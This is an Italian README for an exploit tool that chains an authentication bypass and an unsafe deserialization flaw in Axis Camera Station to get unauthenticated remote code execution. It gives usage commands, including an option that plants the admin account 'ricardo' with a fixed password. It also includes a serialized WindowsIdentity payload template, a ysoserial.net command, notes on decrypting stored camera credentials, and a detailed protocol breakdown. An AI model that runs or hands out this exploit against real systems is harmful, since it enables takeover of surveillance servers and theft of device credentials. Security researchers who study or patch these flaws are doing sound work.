
RCE non autenticata su Axis Camera Station (ACS) concatenando CVE‑2025‑30026 (bypass dell'autenticazione) + CVE‑2025‑30023 (deserializzazione non sicura)
Questo exploit concatena CVE‑2025‑30026 (bypass dell'autenticazione) con CVE‑2025‑30023 (deserializzazione non sicura) per ottenere un RCE non autenticato sul software Axis Camera Station. Aggira il meccanismo di login e invia payload serializzati malevoli che attivano l'esecuzione arbitraria di comandi, dando all'attaccante il pieno controllo sulla macchina target.
Entrambe le vulnerabilità interessano le versioni di Axis Camera Station Pro precedenti alla 6.9 e le versioni di Axis Camera Station precedenti alla 5.58.
Si basa sul post del blog di Claroty "Turning Camera Surveillance on its Axis", che descrive il protocollo e le vulnerabilità associate.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Flag | Descrizione |
|---|---|
--host | IP/host di destinazione (obbligatorio). |
--port | Porta di destinazione (predefinita 55752). |
--key | Chiave privata RSA-2048 del client in PEM (obbligatoria). |
--json | File JSON locale contenente la Request da inviare. |
--version | Request VersionFacade.get_ProductVersion per ottenere le informazioni sulla versione. |
--adduser | Crea l'utente ricardo con password ThisIsIt123 e lo aggiunge al gruppo Administrators. |
--wait | Secondi di ascolto sul canale dopo l'handshake (predefinito 5). |
--listen | Secondi di attesa per la risposta dopo l'invio di una Request (predefinito 15). |
Installare le dipendenze e generare una chiave privata RSA in formato PEM per il client:
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Interroga la versione del prodotto per verificare se la versione è vulnerabile:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Sfrutta la deserializzazione per creare un utente amministratore ricardo con password ThisIsIt123:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Invia una Request personalizzata da un file JSON per eseguire qualsiasi comando:
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestUn Request è un oggetto JSON con una singola chiave "Request". Il formato per sfruttare la deserializzazione è:
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
Il valore del campo clientInformationDto può essere ottenuto utilizzando Ysoserial.net con un gadget come WindowsIdentity, che sembra essere piuttosto stabile per sfruttare questa vulnerabilità (altri gadget causano il crash del servizio):
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Una volta ottenuto l'accesso alla macchina Windows, si ha accesso ai database .FDB che contengono le credenziali per connettersi ai diversi dispositivi. Questi sono cifrati utilizzando un'implementazione AES debole, che è possibile decifrare immediatamente usando il numero di serie del volume dell'host o forzarla in pochi minuti con una GPU.
È possibile utilizzare lo script in questo repository per sfruttarla: CVE-2026-63286.
AXIS Camera Station incapsula un protocollo binario stateful sopra HTTP. Invece di una richiesta/risposta per connessione, apre due canali persistenti e trasmette messaggi incorniciati su di essi fino alla chiusura della connessione.
| Livello | Dettaglio |
|---|---|
| Trasporto | HTTP sulla porta 55752. GET /_/ apre il canale RX (ricezione); POST /_/<channelID> è il canale TX (invio), con ogni messaggio nel corpo della POST. |
| Incorniciatura RX | Corpo HTTP chunked; al suo interno, i frame di controllo sono [uint32 LE length][data]. |
| Handshake | Entrambe le parti si scambiano una chiave pubblica, poi una chiave di sessione AES casuale avvolta con la chiave pubblica dell'altra parte. |
| Formato chiave | Il client invia il proprio certificato X.509 (base64). La chiave AES viene inviata come base64(wrapped_key):base64(iv). |
| Wrap RSA | PKCS#1 v1.5. |
| Canale | AES-256-CBC con padding PKCS#7. I frame server→client usano la chiave + IV del server. |
| Applicazione | JSON Axis.Remoting. Il client invia prima il proprio ClientId come HELLO, poi {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Testato sulle versioni 5.57.27610 e 5.57.33556 in esecuzione su Windows 11.
Gli attacchi di deserializzazione possono mandare in crash il servizio se vengono utilizzati gadget instabili o parametri inappropriati, quindi testare sempre in ambienti controllati.
Questo script è fornito esclusivamente per scopi educativi e di test autorizzati... usalo a tuo rischio!